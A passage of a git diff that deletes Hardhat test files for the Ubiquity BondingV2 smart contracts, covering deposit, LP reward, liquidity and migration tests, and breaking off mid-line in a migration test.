masterChefV2.setUGOVPerBlock(BigNumber.from(10).pow(18)); - const managerMasterChefV2Address = await manager.masterChefAddress(); - expect(masterChefV2.address).to.be.equal(managerMasterChefV2Address); - - // DEPLOY BondingShareV2 Contract - const uri = `{ - "name": "Bonding Share", - "description": "Ubiquity Bonding Share V2", - "image": "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/" - }`; - bondingShareV2 = (await (await ethers.getContractFactory("BondingShareV2")).deploy(manager.address, uri)) as BondingShareV2; - - await manager.setBondingShareAddress(bondingShareV2.address); - const managerBondingShareAddress = await manager.bondingShareAddress(); - expect(bondingShareV2.address).to.be.equal(managerBondingShareAddress); - - // DEPLOY Bonding Contract - bondingFormulas = (await (await ethers.getContractFactory("BondingFormulas")).deploy()) as BondingFormulas; - - bondingV2 = (await ( - await ethers.getContractFactory("BondingV2") - ).deploy( - manager.address, - bondingFormulas.address, - [bondingZeroAccountAddress, bondingMinAccountAddress, bondingMaxAccountAddress], - [0, bondingMinBalance, bondingMaxBalance], - [1, 1, 208] - )) as BondingV2; - // send the LP token from bonding V1 to V2 to prepare the migration - await bonding.sendDust(bondingV2.address, metaPool.address, bondingMinBalance.add(bondingMaxBalance)); - // set migrating state - await bondingV2.setMigrating(true); - // bondingV2 should have the UBQ_MINTER_ROLE to mint bonding shares - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, bondingV2.address); - await bondingV2.setBlockCountInAWeek(420); - blockCountInAWeek = await bondingV2.blockCountInAWeek(); - await manager.setBondingContractAddress(bondingV2.address); - - await manager.connect(admin).revokeRole(UBQ_MINTER_ROLE, masterChef.address); - await manager.connect(admin).revokeRole(UBQ_MINTER_ROLE, bonding.address); - // bonding should have the UBQ_BURNER_ROLE to burn bonding shares - await manager.connect(admin).revokeRole(UBQ_BURNER_ROLE, bonding.address); - expect(await manager.connect(admin).hasRole(UBQ_MINTER_ROLE, bonding.address)).to.be.false; - expect(await manager.connect(admin).hasRole(UBQ_MINTER_ROLE, masterChef.address)).to.be.false; - - return { - curveWhale, - masterChef, - masterChefV2, - bondingShareV2, - bondingFormulas, - bondingMaxBalance, - bondingMinBalance, - bondingV2, - admin, - crvToken, - secondAccount, - thirdAccount, - fourthAccount, - bondingZeroAccount, - bondingMinAccount, - bondingMaxAccount, - fifthAccount, - treasury, - curvePoolFactory, - uAD, - uGOV, - uAR, - metaPool, - bonding, - bondingShare, - couponsForDollarsCalculator, - dollarMintingCalculator, - debtCoupon, - debtCouponMgr, - twapOracle, - ubiquityFormulas, - DAI, - USDC, - manager, - blockCountInAWeek, - sushiUGOVPool, - excessDollarsDistributor, - }; -} -export { bondingSetupV2, deposit, removeLiquidity, addLiquidity }; diff --git a/packages/contracts/dollar/test/BondingV2.deposit.test.ts b/packages/contracts/dollar/test/BondingV2.deposit.test.ts deleted file mode 100644 index 8bf7a6e49..000000000 --- a/packages/contracts/dollar/test/BondingV2.deposit.test.ts +++ /dev/null @@ -1,267 +0,0 @@ -import { expect } from "chai"; -import { ethers } from "hardhat"; -import { Signer, BigNumber } from "ethers"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { DebtCouponManager } from "../artifacts/types/DebtCouponManager"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { bondingSetupV2, deposit } from "./BondingSetupV2"; -import { mineNBlock } from "./utils/hardhatNode"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { swap3CRVtoUAD, swapUADto3CRV } from "./utils/swap"; -import { isAmountEquivalent } from "./utils/calc"; - -describe("bondingV2 deposit", () => { - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - let debtCouponMgr: DebtCouponManager; - let secondAccount: Signer; - let fourthAccount: Signer; - let twapOracle: TWAPOracle; - let uAD: UbiquityAlgorithmicDollar; - let uAR: UbiquityAutoRedeem; - let crvToken: ERC20; - let metaPool: IMetaPool; - let bondingV2: BondingV2; - let bondingShareV2: BondingShareV2; - let masterChefV2: MasterChefV2; - let blockCountInAWeek: BigNumber; - beforeEach(async () => { - ({ secondAccount, fourthAccount, uAD, metaPool, bondingV2, masterChefV2, debtCouponMgr, uAR, crvToken, bondingShareV2, twapOracle, blockCountInAWeek } = - await bondingSetupV2()); - }); - - it("deposit should work", async () => { - const totalLPBeforeAdd = await bondingShareV2.totalLP(); - const balanceBondingBeforeAdd = await metaPool.balanceOf(bondingV2.address); - const amount = one.mul(100); - const { id, bsAmount, shares, creationBlock, endBlock } = await deposit(secondAccount, amount, 1); - const totalLPAfterAdd = await bondingShareV2.totalLP(); - const balanceBondingAfterAdd = await metaPool.balanceOf(bondingV2.address); - expect(totalLPAfterAdd).to.equal(totalLPBeforeAdd.add(amount)); - expect(balanceBondingAfterAdd).to.equal(balanceBondingBeforeAdd.add(amount)); - expect(id).to.equal(1); - expect(bsAmount).to.equal(1); - const detail = await bondingShareV2.getBond(id); - expect(detail.lpAmount).to.equal(amount); - expect(detail.lpFirstDeposited).to.equal(amount); - expect(detail.minter).to.equal(await secondAccount.getAddress()); - expect(detail.lpRewardDebt).to.equal(0); - expect(detail.creationBlock).to.equal(creationBlock); - expect(detail.endBlock).to.equal(endBlock); - const shareDetail = await masterChefV2.getBondingShareInfo(id); - expect(shareDetail[0]).to.equal(shares); - await mineNBlock(blockCountInAWeek.toNumber()); - }); - describe("pendingLpRewards", () => { - it("should increase after inflation ", async () => { - const { id, bsAmount, shares, creationBlock, endBlock } = await deposit(secondAccount, one.mul(100), 1); - expect(id).to.equal(1); - expect(bsAmount).to.equal(1); - const detail = await bondingShareV2.getBond(id); - expect(detail.lpAmount).to.equal(one.mul(100)); - expect(detail.lpFirstDeposited).to.equal(one.mul(100)); - expect(detail.minter).to.equal(await secondAccount.getAddress()); - expect(detail.lpRewardDebt).to.equal(0); - expect(detail.creationBlock).to.equal(creationBlock); - expect(detail.endBlock).to.equal(endBlock); - const shareDetail = await masterChefV2.getBondingShareInfo(id); - expect(shareDetail[0]).to.equal(shares); - // trigger a debt cycle - const secondAccountAdr = await secondAccount.getAddress(); - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(1)) - .to.emit(uAR, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, 1); - - let debtCyle = await debtCouponMgr.debtCycle(); - expect(debtCyle).to.be.true; - // now we should push the price up to trigger the excess dollar minting - - // await swap3CRVtoUAD(metaPool, crvToken, one.mul(20000), fourthAccount); - await swap3CRVtoUAD(metaPool, crvToken, one.mul(10000), fourthAccount); - // await swap3CRVtoUAD(metaPool, crvToken, one.mul(30000), fourthAccount); - await mineNBlock(blockCountInAWeek.toNumber()); - await swap3CRVtoUAD(metaPool, crvToken, one.mul(100), fourthAccount); - await twapOracle.update(); - - const lpTotalSupply = await metaPool.totalSupply(); - - // Price must be below 1 to mint coupons - - const bondingV2BalBefore = await metaPool.balanceOf(bondingV2.address); - await debtCouponMgr.connect(secondAccount).burnAutoRedeemTokensForDollars(1); - const bondingV2BalAfter = await metaPool.balanceOf(bondingV2.address); - - expect(bondingV2BalAfter).to.be.gt(bondingV2BalBefore); - - debtCyle = await debtCouponMgr.debtCycle(); - expect(debtCyle).to.be.false; - await twapOracle.update(); - const lpTotalSupplyAfter = await metaPool.totalSupply(); - expect(lpTotalSupplyAfter).to.be.gt(lpTotalSupply); - - const lpRewards = await bondingV2.lpRewards(); - // lprewards has not been updated yet - expect(lpRewards).to.equal(0); - - const totalLP = await bondingShareV2.totalLP(); - expect(detail.lpAmount).to.equal(totalLP); - // one BS gets all the shares and LP - const totalShares = await masterChefV2.totalShares(); - expect(shares).to.equal(totalShares); - - // another deposit should not get some lp rewards - const ibond2 = await deposit(fourthAccount, one.mul(100), 1); - expect(ibond2.id).to.equal(2); - expect(ibond2.bsAmount).to.equal(1); - const pendingLpRewards1 = await bondingV2.pendingLpRewards(id); - // now lprewards should have been updated - const lpRewardsAfter2ndDeposit = await bondingV2.lpRewards(); - - // first user should get all the rewards - - const isPrecise = isAmountEquivalent(pendingLpRewards1.toString(), lpRewardsAfter2ndDeposit.toString(), "0.0000000001"); - expect(isPrecise).to.be.true; - - const pendingLpRewards2 = await bondingV2.pendingLpRewards(ibond2.id); - // second user should get none of the previous rewards - expect(pendingLpRewards2).to.equal(0); - - const detail2 = await bondingShareV2.getBond(ibond2.id); - - expect(detail2.lpAmount).to.equal(one.mul(100)); - expect(detail2.lpFirstDeposited).to.equal(one.mul(100)); - expect(detail2.minter).to.equal(await fourthAccount.getAddress()); - expect(detail2.lpRewardDebt).to.equal(pendingLpRewards1); - expect(detail2.creationBlock).to.equal(ibond2.creationBlock); - expect(detail2.endBlock).to.equal(ibond2.endBlock); - - // lp amount should increase - const totalLPAfter2ndDeposit = await bondingShareV2.totalLP(); - expect(totalLP.add(detail2.lpAmount)).to.equal(totalLPAfter2ndDeposit); - // bs shares should increase - const totalSharesAfter2ndDeposit = await masterChefV2.totalShares(); - expect(totalShares.add(ibond2.shares)).to.equal(totalSharesAfter2ndDeposit); - }); - it("should increase only when we deposit after inflation ", async () => { - const { id, shares } = await deposit(secondAccount, one.mul(100), 1); - const detail = await bondingShareV2.getBond(id); - // trigger a debt cycle - const secondAccountAdr = await secondAccount.getAddress(); - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(1)) - .to.emit(uAR, "Transfer") - .withArgs(ethers.constants.AddressZero, secondAccountAdr, 1); - - // now we should push the price up to trigger the excess dollar minting - await swap3CRVtoUAD(metaPool, crvToken, one.mul(10000), fourthAccount); - await mineNBlock(blockCountInAWeek.toNumber()); - await swap3CRVtoUAD(metaPool, crvToken, one.mul(100), fourthAccount); - await twapOracle.update(); - - const lpTotalSupply = await metaPool.totalSupply(); - - // Price must be below 1 to mint coupons - - const bondingV2BalBefore = await metaPool.balanceOf(bondingV2.address); - await debtCouponMgr.connect(secondAccount).burnAutoRedeemTokensForDollars(1); - const bondingV2BalAfter = await metaPool.balanceOf(bondingV2.address); - - expect(bondingV2BalAfter).to.be.gt(bondingV2BalBefore); - - await twapOracle.update(); - const lpTotalSupplyAfter = await metaPool.totalSupply(); - expect(lpTotalSupplyAfter).to.be.gt(lpTotalSupply); - - const lpRewards = await bondingV2.lpRewards(); - // lprewards has not been updated yet - expect(lpRewards).to.equal(0); - - const totalLP = await bondingShareV2.totalLP(); - - expect(detail.lpAmount).to.equal(totalLP); - // one BS gets all the shares and LP - const totalShares = await masterChefV2.totalShares(); - - expect(shares).to.equal(totalShares); - - // another deposit should not get some lp rewards - const ibond2 = await deposit(fourthAccount, one.mul(100), 1); - expect(ibond2.id).to.equal(2); - expect(ibond2.bsAmount).to.equal(1); - - const pendingLpRewards1 = await bondingV2.pendingLpRewards(id); - // lprewards should have been updated - const lpRewardsAfter2ndDeposit = await bondingV2.lpRewards(); - - // first user should get all the rewards - - const isPrecise = isAmountEquivalent(pendingLpRewards1.toString(), lpRewardsAfter2ndDeposit.toString(), "0.0000000001"); - expect(isPrecise).to.be.true; - - const pendingLpRewards2 = await bondingV2.pendingLpRewards(ibond2.id); - // second user should get none of the previous rewards - expect(pendingLpRewards2).to.equal(0); - - const detail2 = await bondingShareV2.getBond(ibond2.id); - - expect(detail2.lpAmount).to.equal(one.mul(100)); - expect(detail2.lpFirstDeposited).to.equal(one.mul(100)); - expect(detail2.minter).to.equal(await fourthAccount.getAddress()); - expect(detail2.lpRewardDebt).to.equal(pendingLpRewards1); - expect(detail2.creationBlock).to.equal(ibond2.creationBlock); - expect(detail2.endBlock).to.equal(ibond2.endBlock); - - // lp amount should increase - const totalLPAfter2ndDeposit = await bondingShareV2.totalLP(); - expect(totalLP.add(detail2.lpAmount)).to.equal(totalLPAfter2ndDeposit); - // bs shares should increase - const totalSharesAfter2ndDeposit = await masterChefV2.totalShares(); - expect(totalShares.add(ibond2.shares)).to.equal(totalSharesAfter2ndDeposit); - // trigger another excess dollar distribution - // 1- push dollar price < 1$ - await swapUADto3CRV(metaPool, uAD, one.mul(10000), fourthAccount); - await mineNBlock(blockCountInAWeek.toNumber()); - await swapUADto3CRV(metaPool, uAD, one.mul(100), fourthAccount); - await twapOracle.update(); - // 2- trigger debt cycle - await debtCouponMgr.connect(secondAccount).exchangeDollarsForUAR(1); - - const debtCyle = await debtCouponMgr.debtCycle(); - expect(debtCyle).to.be.true; - // 3- push dollar price > 1$ - - await swap3CRVtoUAD(metaPool, crvToken, one.mul(30000), fourthAccount); - await mineNBlock(blockCountInAWeek.toNumber()); - await swap3CRVtoUAD(metaPool, crvToken, one.mul(100), fourthAccount); - await twapOracle.update(); - // 4- trigger excess dollar distribution - await debtCouponMgr.connect(secondAccount).burnAutoRedeemTokensForDollars(1); - const bondingV2Bal2After = await metaPool.balanceOf(bondingV2.address); - - expect(bondingV2Bal2After).to.be.gt(bondingV2BalAfter); - // check that bs1 have increased it lprewards - const pendingLpRewards1After2ndExcessDollarDistrib = await bondingV2.pendingLpRewards(id); - expect(pendingLpRewards1After2ndExcessDollarDistrib).to.be.gt(pendingLpRewards1); - // check that bs2 have increased it lprewards - const pendingLpRewards2After2ndExcessDollarDistrib = await bondingV2.pendingLpRewards(ibond2.id); - expect(pendingLpRewards2After2ndExcessDollarDistrib).to.be.gt(0); - expect(pendingLpRewards1After2ndExcessDollarDistrib).to.be.gt(pendingLpRewards2After2ndExcessDollarDistrib); - // total share + pending lp rewards + lp to migrate should be almost equal to lp tokens inside the bonding contract - const totalLPToMigrate = await bondingV2.totalLpToMigrate(); - const isPendingLPPrecise = isAmountEquivalent( - bondingV2Bal2After.toString(), - totalLPAfter2ndDeposit - .add(totalLPToMigrate) - .add(pendingLpRewards1After2ndExcessDollarDistrib) - .add(pendingLpRewards2After2ndExcessDollarDistrib) - .toString(), - "0.0000000001" - ); - expect(isPendingLPPrecise).to.be.true; - }); - }); -}); diff --git a/packages/contracts/dollar/test/BondingV2.liquidity.test.ts b/packages/contracts/dollar/test/BondingV2.liquidity.test.ts deleted file mode 100644 index 0f5745b57..000000000 --- a/packages/contracts/dollar/test/BondingV2.liquidity.test.ts +++ /dev/null @@ -1,229 +0,0 @@ -import { expect } from "chai"; -import { ethers } from "hardhat"; -import { Signer, BigNumber } from "ethers"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { bondingSetupV2, deposit, IdBond, addLiquidity, removeLiquidity } from "./BondingSetupV2"; -import { latestBlockNumber, mineNBlock } from "./utils/hardhatNode"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; - -describe("bondingV2 liquidity", () => { - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - let admin: Signer; - let secondAccount: Signer; - let fourthAccount: Signer; - let metaPool: IMetaPool; - let bondingV2: BondingV2; - let bondingShareV2: BondingShareV2; - let masterChefV2: MasterChefV2; - let blockCountInAWeek: BigNumber; - let bond: IdBond; - let bondFourth: IdBond; - const amountFourth = one.mul(200); - let secondAccountAdr: string; - let fourthAccountAdr: string; - let bondDetail: { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; - }; - let bondFourthDetail: { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; - }; - - beforeEach(async () => { - ({ secondAccount, admin, fourthAccount, metaPool, bondingV2, masterChefV2, bondingShareV2, blockCountInAWeek } = await bondingSetupV2()); - - bond = await deposit(secondAccount, one.mul(100), 1); - secondAccountAdr = await secondAccount.getAddress(); - const bondAmount: BigNumber = await bondingShareV2.balanceOf(secondAccountAdr, bond.id); - const holderTokens = await bondingShareV2.holderTokens(secondAccountAdr); - - expect(bondAmount).to.equal(1); - expect(holderTokens.length).to.equal(1); - expect(holderTokens[0]).to.equal(1); - - bondDetail = await bondingShareV2.getBond(bond.id); - - const shareDetail = await masterChefV2.getBondingShareInfo(bond.id); - expect(shareDetail[0]).to.equal(bond.shares); - - bondFourth = await deposit(fourthAccount, amountFourth, 42); - fourthAccountAdr = await fourthAccount.getAddress(); - const bondfAmount: BigNumber = await bondingShareV2.balanceOf(fourthAccountAdr, bondFourth.id); - const holderTokensFourth = await bondingShareV2.holderTokens(fourthAccountAdr); - - expect(bondfAmount).to.equal(1); - expect(holderTokensFourth.length).to.equal(1); - expect(holderTokensFourth[0]).to.equal(2); - - bondFourthDetail = await bondingShareV2.getBond(bondFourth.id); - const accLpRewardPerShare = await bondingV2.accLpRewardPerShare(); - const debt = bondFourth.shares.mul(accLpRewardPerShare).div(1e12); - expect(bondFourthDetail.lpRewardDebt).to.equal(debt); - const shareFourthDetail = await masterChefV2.getBondingShareInfo(bondFourth.id); - expect(shareFourthDetail[0]).to.equal(bondFourth.shares); - }); - - describe("liquidity", () => { - it("add should fail if caller is not the bonding share owner", async () => { - await expect(bondingV2.addLiquidity(1, bond.id, 10)).to.be.revertedWith("Bonding: caller is not owner"); - }); - it("add should fail during locking period", async () => { - await expect(bondingV2.connect(secondAccount).addLiquidity(1, bond.id, 10)).to.be.revertedWith("Bonding: Redeem not allowed before bonding time"); - }); - it("remove should fail if caller is not the bonding share owner", async () => { - await expect(bondingV2.removeLiquidity(1, bond.id)).to.be.revertedWith("Bonding: caller is not owner"); - }); - it("remove should fail during locking period", async () => { - await expect(bondingV2.connect(secondAccount).removeLiquidity(1, bond.id)).to.be.revertedWith("Bonding: Redeem not allowed before bonding time"); - }); - it("add should work", async () => { - expect(bond.id).to.equal(1); - expect(bond.bsAmount).to.equal(1); - expect(bondDetail.lpAmount).to.equal(one.mul(100)); - expect(bondDetail.lpFirstDeposited).to.equal(one.mul(100)); - expect(bondDetail.minter).to.equal(secondAccountAdr); - expect(bondDetail.lpRewardDebt).to.equal(0); - expect(bondDetail.creationBlock).to.equal(bond.creationBlock); - expect(bondDetail.endBlock).to.equal(bond.endBlock); - expect(bondFourth.id).to.equal(2); - expect(bondFourth.bsAmount).to.equal(1); - expect(bondFourthDetail.lpAmount).to.equal(amountFourth); - expect(bondFourthDetail.lpFirstDeposited).to.equal(amountFourth); - expect(bondFourthDetail.minter).to.equal(fourthAccountAdr); - expect(bondFourthDetail.creationBlock).to.equal(bondFourth.creationBlock); - expect(bondFourthDetail.endBlock).to.equal(bondFourth.endBlock); - - const lastBlockNum = await latestBlockNumber(); - const endOfLockingInBlock = bondDetail.endBlock.toNumber() - lastBlockNum.number; - const bondBefore = await bondingShareV2.getBond(bond.id); - await mineNBlock(endOfLockingInBlock); - - const amount = one.mul(900); - const lastBlock = await latestBlockNumber(); - - const totalLPBeforeAdd = await bondingShareV2.totalLP(); - const balanceBondingBeforeAdd = await metaPool.balanceOf(bondingV2.address); - const pendingLpRewards = await bondingV2.pendingLpRewards(bond.id); - const bondAfter = await addLiquidity(secondAccount, bond.id, amount, 11); - const totalLPAfterAdd = await bondingShareV2.totalLP(); - const balanceBondingAfterAdd = await metaPool.balanceOf(bondingV2.address); - - expect(totalLPAfterAdd).to.equal(totalLPBeforeAdd.add(amount).add(pendingLpRewards)); - expect(balanceBondingAfterAdd).to.equal(balanceBondingBeforeAdd.add(amount)); - - // lp reward distribution takes place during add or remove liquidity - // so there should be no more rewards afterwards - - expect(bondAfter.lpFirstDeposited).to.equal(bondBefore.lpFirstDeposited); - expect(bondAfter.minter).to.equal(bondBefore.minter); - expect(bondAfter.lpRewardDebt).to.be.gt(bondBefore.lpRewardDebt); - expect(bondAfter.creationBlock).to.equal(bondBefore.creationBlock); - expect(bondAfter.endBlock).to.be.gt(bondBefore.endBlock); - expect(bondAfter.endBlock).to.equal(lastBlock.number + 2 + 11 * blockCountInAWeek.toNumber()); - }); - it("remove should work", async () => { - expect(bond.id).to.equal(1); - expect(bond.bsAmount).to.equal(1); - expect(bondDetail.lpAmount).to.equal(one.mul(100)); - expect(bondDetail.lpFirstDeposited).to.equal(one.mul(100)); - expect(bondDetail.minter).to.equal(secondAccountAdr); - expect(bondDetail.lpRewardDebt).to.equal(0); - expect(bondDetail.creationBlock).to.equal(bond.creationBlock); - expect(bondDetail.endBlock).to.equal(bond.endBlock); - expect(bondFourth.id).to.equal(2); - expect(bondFourth.bsAmount).to.equal(1); - expect(bondFourthDetail.lpAmount).to.equal(amountFourth); - expect(bondFourthDetail.lpFirstDeposited).to.equal(amountFourth); - expect(bondFourthDetail.minter).to.equal(fourthAccountAdr); - expect(bondFourthDetail.creationBlock).to.equal(bondFourth.creationBlock); - expect(bondFourthDetail.endBlock).to.equal(bondFourth.endBlock); - const lastBlockNum = await latestBlockNumber(); - const endOfLockingInBlock = bondDetail.endBlock.toNumber() - lastBlockNum.number; - const bondBefore = await bondingShareV2.getBond(bond.id); - await mineNBlock(endOfLockingInBlock); - secondAccountAdr = await secondAccount.getAddress(); - // simulate distribution of lp token to assess the update of lpRewardDebt - await metaPool.transfer(bondingV2.address, one.mul(10)); - const bondAfter = await removeLiquidity(secondAccount, bond.id, bondDetail.lpAmount.div(2)); - expect(bondAfter.lpFirstDeposited).to.equal(bondBefore.lpFirstDeposited); - expect(bondAfter.minter).to.equal(bondBefore.minter); - expect(bondAfter.lpRewardDebt).to.be.gt(bondBefore.lpRewardDebt); - expect(bondAfter.creationBlock).to.equal(bondBefore.creationBlock); - expect(bondAfter.endBlock).to.equal(bondBefore.endBlock); - }); - it("remove all and add again should work", async () => { - expect(bond.id).to.equal(1); - expect(bond.bsAmount).to.equal(1); - expect(bondDetail.lpAmount).to.equal(one.mul(100)); - expect(bondDetail.lpFirstDeposited).to.equal(one.mul(100)); - expect(bondDetail.minter).to.equal(secondAccountAdr); - expect(bondDetail.lpRewardDebt).to.equal(0); - expect(bondDetail.creationBlock).to.equal(bond.creationBlock); - expect(bondDetail.endBlock).to.equal(bond.endBlock); - expect(bondFourth.id).to.equal(2); - expect(bondFourth.bsAmount).to.equal(1); - expect(bondFourthDetail.lpAmount).to.equal(amountFourth); - expect(bondFourthDetail.lpFirstDeposited).to.equal(amountFourth); - expect(bondFourthDetail.minter).to.equal(fourthAccountAdr); - expect(bondFourthDetail.creationBlock).to.equal(bondFourth.creationBlock); - expect(bondFourthDetail.endBlock).to.equal(bondFourth.endBlock); - let lastBlockNum = await latestBlockNumber(); - const endOfLockingInBlock = bondDetail.endBlock.toNumber() - lastBlockNum.number; - const bondBefore = await bondingShareV2.getBond(bond.id); - await mineNBlock(endOfLockingInBlock); - secondAccountAdr = await secondAccount.getAddress(); - - const totalLPBeforeRemove = await bondingShareV2.totalLP(); - const balanceBondingBeforeRemove = await metaPool.balanceOf(bondingV2.address); - const pendingLpRewards = await bondingV2.pendingLpRewards(bond.id); - const bondAfter = await removeLiquidity(secondAccount, bond.id, bondDetail.lpAmount); - const totalLPAfterRemove = await bondingShareV2.totalLP(); - const balanceBondingAfterRemove = await metaPool.balanceOf(bondingV2.address); - expect(totalLPAfterRemove).to.equal(totalLPBeforeRemove.sub(bondDetail.lpAmount)); - expect(balanceBondingAfterRemove).to.equal(balanceBondingBeforeRemove.sub(bondDetail.lpAmount).sub(pendingLpRewards)); - - expect(bondAfter.lpFirstDeposited).to.equal(bondBefore.lpFirstDeposited); - expect(bondAfter.minter).to.equal(bondBefore.minter); - expect(bondAfter.creationBlock).to.equal(bondBefore.creationBlock); - expect(bondAfter.endBlock).to.equal(bondBefore.endBlock); - const bsAfter = await masterChefV2.getBondingShareInfo(bond.id); - expect(bondAfter.lpAmount).to.equal(0); - expect(bsAfter[0]).to.equal(0); - - // distribute lp rewards through - // TRANSFER of uLP tokens to bonding contract to simulate excess dollar distribution - await metaPool.connect(admin).transfer(bondingV2.address, ethers.utils.parseEther("100")); - - const totalLPBeforeAdd = await bondingShareV2.totalLP(); - const balanceBondingBeforeAdd = await metaPool.balanceOf(bondingV2.address); - - const pendingLpRewards2 = await bondingV2.pendingLpRewards(bond.id); - lastBlockNum = await latestBlockNumber(); - const bond2 = await addLiquidity(secondAccount, bond.id, bondDetail.lpAmount, 408); - const pendingLpRewardsAfter2 = await bondingV2.pendingLpRewards(bond.id); - const totalLPAfterAdd = await bondingShareV2.totalLP(); - const balanceBondingAfterAdd = await metaPool.balanceOf(bondingV2.address); - expect(pendingLpRewardsAfter2).to.equal(0); - expect(pendingLpRewards2).to.equal(0); - expect(totalLPAfterAdd).to.equal(totalLPBeforeAdd.add(bondDetail.lpAmount)); - expect(balanceBondingAfterAdd).to.equal(balanceBondingBeforeAdd.add(bondDetail.lpAmount)); - expect(bond2.lpFirstDeposited).to.equal(bondBefore.lpFirstDeposited); - expect(bond2.minter).to.equal(bondBefore.minter); - expect(bond2.lpRewardDebt).to.be.gt(bondBefore.lpRewardDebt); - expect(bond2.creationBlock).to.equal(bondBefore.creationBlock); - expect(bond2.endBlock).to.be.gt(bondBefore.endBlock); - expect(bond2.endBlock).to.equal(lastBlockNum.number + 2 + 408 * blockCountInAWeek.toNumber()); - }); - }); -}); diff --git a/packages/contracts/dollar/test/BondingV2.migration.test.ts b/packages/contracts/dollar/test/BondingV2.migration.test.ts deleted file mode 100644 index e00654dd7..000000000 --- a/packages/contracts/dollar/test/BondingV2.migration.test.ts +++ /dev/null @@ -1,274 +0,0 @@ -import { expect } from "chai"; -import { Signer, BigNumber } from "ethers"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { bondingSetupV2 } from "./BondingSetupV2"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { isAmountEquivalent } from "./utils/calc"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { UbiquityFormulas } from "../artifacts/types/UbiquityFormulas"; - -type Bond = [string, BigNumber, BigNumber, BigNumber, BigNumber, BigNumber] & { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; -}; -const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 -let bondingV2: BondingV2; -let bondingShareV2: BondingShareV2; -let masterChefV2: MasterChefV2; -let secondAccount: Signer; -let ubiquityFormulas: UbiquityFormulas; -let metaPool: IMetaPool; -let bondingMinBalance: BigNumber; -let bondingMaxBalance: BigNumber; -let bondingZeroAccount: Signer; -let bondingMinAccount: Signer; -let bondingMaxAccount: Signer; -let bondingMinAddress: string; -let bondingMaxAddress: string; -let secondAddress: string; -let admin: Signer; - -describe("bondingV2 migration", () => { - beforeEach(async () => { - ({ - admin, - secondAccount, - masterChefV2, - ubiquityFormulas, - metaPool, - bondingV2, - bondingShareV2, - bondingZeroAccount, - bondingMinAccount, - bondingMinBalance, - bondingMaxAccount, - bondingMaxBalance, - } = await bondingSetupV2()); - secondAddress = await secondAccount.getAddress(); - bondingMinAddress = await bondingMinAccount.getAddress(); - bondingMaxAddress = await bondingMaxAccount.getAddress(); - }); - describe("migrate", () => { - it("migrate should work", async () => { - await expect(bondingV2.connect(bondingMaxAccount).migrate()).to.not.be.reverted; - }); - - it("migrate should fail second time", async () => { - await expect(bondingV2.connect(bondingMaxAccount).migrate()).to.not.be.reverted; - - await expect(bondingV2.connect(bondingMaxAccount).migrate()).to.be.revertedWith("not v1 address"); - }); - - it("migrate should fail if msg.sender is not a user to migrate", async () => { - // second account not v1 => migrate should revert - await expect(bondingV2.connect(admin).migrate()).to.be.revertedWith("not v1 address"); - }); - - it("migrate should fail if not in migration", async () => { - await bondingV2.connect(admin).setMigrating(false); - await expect(bondingV2.connect(bondingMinAccount).migrate()).to.be.revertedWith("not in migration"); - - await bondingV2.connect(admin).setMigrating(true); - await expect(bondingV2.connect(bondingMinAccount).migrate()).to.not.be.reverted; - }); - - it("migrate should fail if user LP amount to migrate is 0", async () => { - await expect(bondingV2.connect(bondingZeroAccount).migrate()).to.be.revertedWith("LP amount is zero"); - }); - - it("migrate should raise event", async () => { - await expect(bondingV2.connect(bondingMinAccount).migrate()).to.emit(bondingV2, "Migrated"); - }); - }); - - describe("addUserToMigrate", () => { - it("addUserToMigrate should work if migrator", async () => { - await expect(bondingV2.connect(admin).addUserToMigrate(secondAddress, 1, 1)).to.not.be.reverted; - }); - - it("addUserToMigrate should fail if not migrator", async () => { - await expect(bondingV2.connect(bondingMaxAccount).addUserToMigrate(secondAddress, 1, 1)).to.be.revertedWith("not migrator"); - }); - - it("addUserToMigrate should permit user to migrate", async () => { - await expect(bondingV2.connect(admin).addUserToMigrate(secondAddress, 1, 1)).to.not.be.reverted; - - await expect(bondingV2.connect(secondAccount).migrate()).to.not.be.reverted; - }); - - it("addUserToMigrate should give id to user", async () => { - await bondingV2.connect(admin).addUserToMigrate(secondAddress, 1, 1); - - expect(await bondingV2.toMigrateId(secondAddress)).to.be.gt(1); - }); - }); - - describe("migrating", () => { - it("migrating should be true if in migration", async () => { - expect(await bondingV2.migrating()).to.be.true; - }); - - it("migrating should be false if not in migration", async () => { - await bondingV2.connect(admin).setMigrating(false); - expect(await bondingV2.migrating()).to.be.false; - }); - }); - - describe("toMigrateId", () => { - it("toMigrateId should be not null if not migrated", async () => { - expect(await bondingV2.toMigrateId(bondingMaxAddress)).to.be.gt(1); - }); - - it("toMigrateId should be null if migrated", async () => { - await (await 